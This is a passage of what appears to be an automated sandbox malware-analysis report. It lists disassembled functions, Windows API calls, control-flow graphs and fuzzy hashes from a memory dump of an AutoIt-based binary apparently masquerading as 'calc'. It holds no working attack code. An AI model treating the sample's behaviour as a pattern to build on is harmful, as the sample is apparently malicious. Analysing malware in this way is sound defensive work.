    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Register$BrushClassClipboardColorFormatIconLoad
    • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
    • API String ID: 975902462-1005189915
    • Opcode ID: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
    • Instruction ID: f45efb3e6643885d8ae29e22a69861e66850a50a293dcdb7155dbe3626e9ac17
    • Opcode Fuzzy Hash: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
    • Instruction Fuzzy Hash: 3A2164B1810308EFDB10DFA4D889BDEBBF4FB08726F00452AE642A62D1D7B59548CF54
    Function 00430DCB Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 250comCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • OleInitialize.OLE32(00000000), ref: 00430E15
    • CLSIDFromProgID.COMBASE(00000000,?), ref: 00430E32
    • CoCreateInstance.COMBASE(?,00000000,00000005,0045AFF8,?), ref: 00430E71
    • CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00430F05
    • CoCreateInstanceEx.COMBASE(?,00000000,00000010,?,00000001,?), ref: 0043103D
    • CoSetProxyBlanket.COMBASE(?,?,?,?,?,?,?,00000800), ref: 00431078
    Strings
    • NULL Pointer assignment, xrefs: 00431096
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CreateInitializeInstance$BlanketFromProgProxySecurity
    • String ID: NULL Pointer assignment
    • API String ID: 628432406-2785691316
    • Opcode ID: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
    • Instruction ID: e386be8ca80e5d29cc4fe2e7b532a083d7082a5dc51ef75c75596564310f3180
    • Opcode Fuzzy Hash: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
    • Instruction Fuzzy Hash: 7A91157290020CEFDF10EFA5DC81ADE7BB8FB08358F10462AF915A7251E7799D858B94
    Function 0041F7E3 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 208COMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • DestroyWindow.USER32(?), ref: 0041F81C
    • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0041F82A
    • UnregisterHotKey.USER32(?), ref: 0041F860
    • FindClose.KERNEL32(?), ref: 0041F8D9
    • FreeLibrary.KERNEL32(00000000), ref: 0041F935
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CloseDestroyFindFreeLibrarySendStringUnregisterWindow
    • String ID: close all$Wu
    • API String ID: 1715252816-1790509019
    • Opcode ID: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
    • Instruction ID: 3646f2384ccb1e0e64c597d038a8f1cfb5bbf3df6652e1d2dd11040289734faa
    • Opcode Fuzzy Hash: b9280a75a0d9f507fc8712bebc7b43ef7d74a75ebad66014674356505a84a988
    • Instruction Fuzzy Hash: 4F712F312401589BDB31BF26DC81AED7766AF91315F40017FF8099B172CF395E9ADA48
    Function 0040EA76 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 877 40ea76-40eac5 GetVersionExW call 4493b8 880 40eacb-40eb69 877->880 881 40ebce-40ebd1 877->881 884 40eca7-40ecc4 880->884 885 40eb6f-40eb7b 880->885 882 40ebd3-40ebd7 881->882 883 40ebbe-40ebc9 881->883 887 40ebe9-40ebfb call 449154 882->887 888 40ebd9-40ebe2 882->888 883->882 886 40ebcb 883->886 889 40ecc6-40ecc9 884->889 890 40ecf7 884->890 891 40eb81-40eb82 885->891 892 40ec97-40eca5 885->892 886->881 906 40ec01-40ec04 887->906 888->887 894 40ebe4-40ebe7 888->894 895 40ece7-40ecf5 889->895 896 40eccb-40ecce 889->896 893 40ecfe-40ed20 GetCurrentProcess call 40edd4 890->893 898 40ec33-40ec3f 891->898 899 40eb88-40eb89 891->899 892->893 914 40ed22 893->914 915 40ed29-40ed42 893->915 894->887 894->888 895->893 896->893 901 40ecd0-40ece5 896->901 904 40ec41-40ec4f 898->904 905 40ec54-40ec57 898->905 899->893 900 40eb8f-40eb9b 899->900 900->906 907 40eb9d-40ebb9 900->907 901->893 904->893 908 40ec70-40ec73 905->908 909 40ec59-40ec6b 905->909 906->893 912 40ec0a-40ec2e 906->912 907->893 908->893 911 40ec79-40ec95 908->911 909->893 911->893 912->893 914->915 916 40ed44-40ed56 call 40ee00 915->916 917 40ed86-40ed90 GetSystemInfo 915->917 923 40ed65-40ed69 916->923 924 40ed58-40ed63 call 40edea GetNativeSystemInfo 916->924 919 40ed72-40ed78 917->919 921 40ed92-40ed96 919->921 922 40ed7a-40ed84 919->922 926 40eda4-40eda8 921->926 927 40ed98-40eda2 921->927 925 40edc1-40edc4 922->925 933 40ed70 923->933 934 40ed6b-40ed6e FreeLibrary 923->934 924->923 930 40edc6-40edc9 FreeLibrary 925->930 931 40edcb-40edd3 925->931 928 40edb6-40edbb 926->928 929 40edaa-40edb4 926->929 927->925 928->925 929->925 930->931 933->919 934->933
    APIs
    • GetVersionExW.KERNEL32(?,00000000,004679CC), ref: 0040EA94
    • GetCurrentProcess.KERNEL32(?), ref: 0040ED0B
    • GetNativeSystemInfo.KERNELBASE(?), ref: 0040ED63
    • FreeLibrary.KERNEL32(?), ref: 0040ED6E
    • GetSystemInfo.KERNEL32(?), ref: 0040ED8A
    • FreeLibrary.KERNEL32(?), ref: 0040EDC9
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: FreeInfoLibrarySystem$CurrentNativeProcessVersion
    • String ID: Wu
    • API String ID: 3962325948-4083010176
    • Opcode ID: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
    • Instruction ID: f2ba6a2bae675f251a30583b53330f3553dad9bf7d35c900dc6b7b295430e01b
    • Opcode Fuzzy Hash: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
    • Instruction Fuzzy Hash: 3DA1FC30449298CDEF11DF69C4887D53FA49F25308F1844FADC499E29BC2BA9698C7B6
    Function 0040F71A Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 164registryCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040F781
    • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 0040F815
    • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?), ref: 0040F83F
    • RegCloseKey.ADVAPI32(?), ref: 0040F92A
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CloseFileModuleNameOpenQueryValue
    • String ID: Include$Software\AutoIt v3\AutoIt$\
    • API String ID: 3617018055-2276155026
    • Opcode ID: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
    • Instruction ID: 50f134da1176b66dbd367ed9ac3c4cf0d0d6e1090dbeac708e74059743c4f1f0
    • Opcode Fuzzy Hash: 03b03b1970ee83669f439e37e25cce8a1ceb94ebf8fe9a10bc2f80fcae784922
    • Instruction Fuzzy Hash: 60512BB2940718AFD720DFA5C88499BB7F8FF18704F5045AFE54AE3641E734AA44CB58
    Function 0044BE98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 975 44be98-44beea call 44d788 call 44c070 GetVersionExA 980 44beec-44bef2 975->980 981 44bef8-44bf12 GetModuleHandleA 975->981 980->981 982 44bf14-44bf1f 981->982 983 44bf33-44bf36 981->983 982->983 985 44bf21-44bf2a 982->985 984 44bf5f-44bf69 call 44e07d 983->984 994 44bf73-44bf7a call 44c499 984->994 995 44bf6b-44bf72 call 44be74 984->995 987 44bf2c-44bf31 985->987 988 44bf4b-44bf4f 985->988 987->983 989 44bf38-44bf3f 987->989 988->983 990 44bf51-44bf53 988->990 989->983 992 44bf41-44bf49 989->992 993 44bf59-44bf5c 990->993 992->993 993->984 1000 44bf84-44bf93 call 4502e3 call 4505a6 994->1000 1001 44bf7c-44bf83 call 44be74 994->1001 995->994 1008 44bf95-44bf9c call 44be4f 1000->1008 1009 44bf9d-44bfb8 call 4536f2 call 453588 call 4534f2 1000->1009 1001->1000 1008->1009 1018 44bfc2-44bfc9 call 4532bf 1009->1018 1019 44bfba-44bfc1 call 44be4f 1009->1019 1024 44bfd3-44bfe0 call 44ae57 1018->1024 1025 44bfcb-44bfd2 call 44be4f 1018->1025 1019->1018 1030 44bfe2-44bfe8 call 44be4f 1024->1030 1031 44bfe9-44c002 GetStartupInfoW call 453279 1024->1031 1025->1024 1030->1031 1036 44c004-44c008 1031->1036 1037 44c00a-44c00c 1031->1037 1038 44c00d-44c023 GetModuleHandleA call 401852 1036->1038 1037->1038 1041 44c025-44c026 call 44af84 1038->1041 1042 44c02b-44c06b call 44afa6 call 44d7c3 1038->1042 1041->1042
    APIs
    • GetVersionExA.KERNEL32(?,0045B1B8,00000060), ref: 0044BEB8
    • GetModuleHandleA.KERNEL32(00000000,?,0045B1B8,00000060), ref: 0044BF0B
    • _fast_error_exit.LIBCMT ref: 0044BF6D
    • _fast_error_exit.LIBCMT ref: 0044BF7E
    • GetStartupInfoW.KERNEL32(?,?,0045B1B8,00000060), ref: 0044BFF0
    • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0044C013
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: HandleModule_fast_error_exit$InfoStartupVersion
    • String ID: `Wu
    • API String ID: 3067550359-3261129705
    • Opcode ID: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
    • Instruction ID: 4397700529556a9b6abbbd61bb681adda0ddf508862c8991d2dc27ae9542f7d9
    • Opcode Fuzzy Hash: e15d8d6f7bf71f38bc871b6429c016019c3b91647409690afd64dbd241c0bdb0
    • Instruction Fuzzy Hash: F941B670D01310DAEB21AFA69C056AE36A0EF44718F24443FF808DA292DB7CC945DBDD
    Function 004200F5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1049 4200f5-42010b 1050 42012a-420136 1049->1050 1051 42010d-420125 call 41faee 1049->1051 1052 420165-42016b 1050->1052 1053 420138-420155 call 4323fe 1050->1053 1058 420265-420269 1051->1058 1056 4201d0-4201d6 1052->1056 1053->1052 1062 420157-420160 call 421406 1053->1062 1060 4201d8 1056->1060 1061 42016d-420173 1056->1061 1063 4201e6-4201f5 1060->1063 1061->1063 1064 420175-420185 call 42003a 1061->1064 1062->1052 1066 420200-42021f call 42a895 call 406ad8 1063->1066 1067 4201f7-4201fe 1063->1067 1072 420187-420190 call 42036e 1064->1072 1073 4201da-4201e1 call 418a14 1064->1073 1069 420263 1066->1069 1081 420221-420240 call 42026c LockWindowUpdate DestroyWindow 1066->1081 1067->1069 1069->1058 1072->1056 1080 420192-4201ad call 40fc6b 1072->1080 1073->1063 1086 4201b7-4201cb call 4320d3 1080->1086 1087 4201af-4201b5 1080->1087 1088 420256-420261 GetMessageW 1081->1088 1086->1056 1087->1056 1088->1069 1090 420242-420250 TranslateMessage DispatchMessageW 1088->1090 1090->1088
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: LoadString
    • String ID: OnAutoItStart
    • API String ID: 2948472770-779282396
    • Opcode ID: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
    • Instruction ID: 596ddb237f3c4dbc422733f4dbf707e667353c10c10091e38a87b0e8f6c63aa8
    • Opcode Fuzzy Hash: b7450ae3f2511fa549ad06ec8c8ef8b57f7694bac96b9a24d91e34451de1bce3
    • Instruction Fuzzy Hash: 0C410471B04229ABC715DB74AC84AFFB7ECFB05308F50412BE415D3243EB68AD1687A9
    Function 00401371 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1091 401371-4013e1 CreateWindowExW * 2 ShowWindow * 2
    APIs
    • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,?), ref: 0040139F
    • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 004013C0
    • ShowWindow.USER32(00000000), ref: 004013D4
    • ShowWindow.USER32(00000000), ref: 004013DD
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Window$CreateShow
    • String ID: AutoIt v3$edit
    • API String ID: 1584632944-3779509399
    • Opcode ID: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
    • Instruction ID: c1bcc58241d8bb41d686f4cc75eac745dfcef030c9692a37be27f8a629f86a69
    • Opcode Fuzzy Hash: 50910c52fbc06293d40c549713fca855e76ea37ac9ada999b4250cc0ee2bbbe8
    • Instruction Fuzzy Hash: D5F03AB11463747AE6321B536C08EEB2E5DEF867B9F110421F90892160E2A55950CAF9
    Function 0044ADFD Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1092 44adfd-44ae0a 1094 44ae22-44ae26 ExitProcess 1092->1094 1095 44ae0c-44ae1a GetProcAddress 1092->1095 1095->1094 1096 44ae1c 1095->1096 1096->1094
    APIs
    • GetModuleHandleA.KERNEL32(mscoree.dll,0044AF6B,?,0045B120,00000008,0044AFA2,?,00000001,00000000,00454705,00000003), ref: 0044AE02
    • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044AE12
    • ExitProcess.KERNEL32 ref: 0044AE26
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressExitHandleModuleProcProcess
    • String ID: CorExitProcess$`Wu$mscoree.dll
    • API String ID: 75539706-2006859676
    • Opcode ID: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
    • Instruction ID: 53a9ad44f3a9e6b916fa28b3adb372b4395d43277910e5f1d752cbfe1555cb17
    • Opcode Fuzzy Hash: b17e66e1c60e703c919b077964af005c51aeddcd4bd0fbb943e394ff849fcc91
    • Instruction Fuzzy Hash: CBD0C930280701FBEF405B719C0AA2B7A68FE44B47F108C75B819D8263CB78CC10DA2E
    Function 00455359 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
    Download Yara Rule
    APIs
    • CreateFileW.KERNELBASE(80000000,80000000,00000000,0000000C,00000001,00000080,00000000,00000001,00000000,00000000), ref: 00455536
    • GetFileType.KERNELBASE(00000000), ref: 00455543
    • CloseHandle.KERNEL32(00000000), ref: 0045554E
    • GetLastError.KERNEL32 ref: 00455554
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: File$CloseCreateErrorHandleLastType
    • String ID: H
    • API String ID: 1809617866-2852464175
    • Opcode ID: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
    • Instruction ID: 3dea303bc14a8af4d4d0b503b19b291cd52b6a6c41b7bea232f97b06bbe31069
    • Opcode Fuzzy Hash: 5ce06f682877ec76a1bbaac30100a30f596ab4e7cb3384c2f439e5053bbd4e01
    • Instruction Fuzzy Hash: 02810671804A49AAEF218B94C8653BF7B70AF0231BF24415BEC51A72D3D77C498DCB5A
    Function 00455BA1 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON
    Download Yara Rule
    APIs
    • CreateFileA.KERNELBASE(80000000,80000000,0046270C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 00455D7E
    • GetFileType.KERNELBASE(00000000), ref: 00455D8B
    • CloseHandle.KERNEL32(00000000), ref: 00455D96
    • GetLastError.KERNEL32 ref: 00455D9C
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: File$CloseCreateErrorHandleLastType
    • String ID: H
    • API String ID: 1809617866-2852464175
    • Opcode ID: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
    • Instruction ID: 18fb0dc3de688eab9ec8008dfc50e8359a27c51e16112c87510f03193277da9b
    • Opcode Fuzzy Hash: aefb27ce640e5ec0de87e9abf81864acf92e705f4e30c285089214354cd5a602
    • Instruction Fuzzy Hash: 5D812471804B499AEF228B98C8693BE7B709F0231AF24415BEC51A72D3C77D4A4DC75A
    Function 0041629F Relevance: 7.5, APIs: 5, Instructions: 32serviceCOMMON
    Download Yara Rule
    APIs
    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,00479E08,?,0040119C,?,?), ref: 004162B3
    • LockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162C0
    • UnlockServiceDatabase.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162CB
    • CloseServiceHandle.ADVAPI32(00000000,?,0040119C,?,?), ref: 004162E3
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Service$Database$CloseHandleLockManagerOpenUnlock
    • String ID:
    • API String ID: 3647510317-0
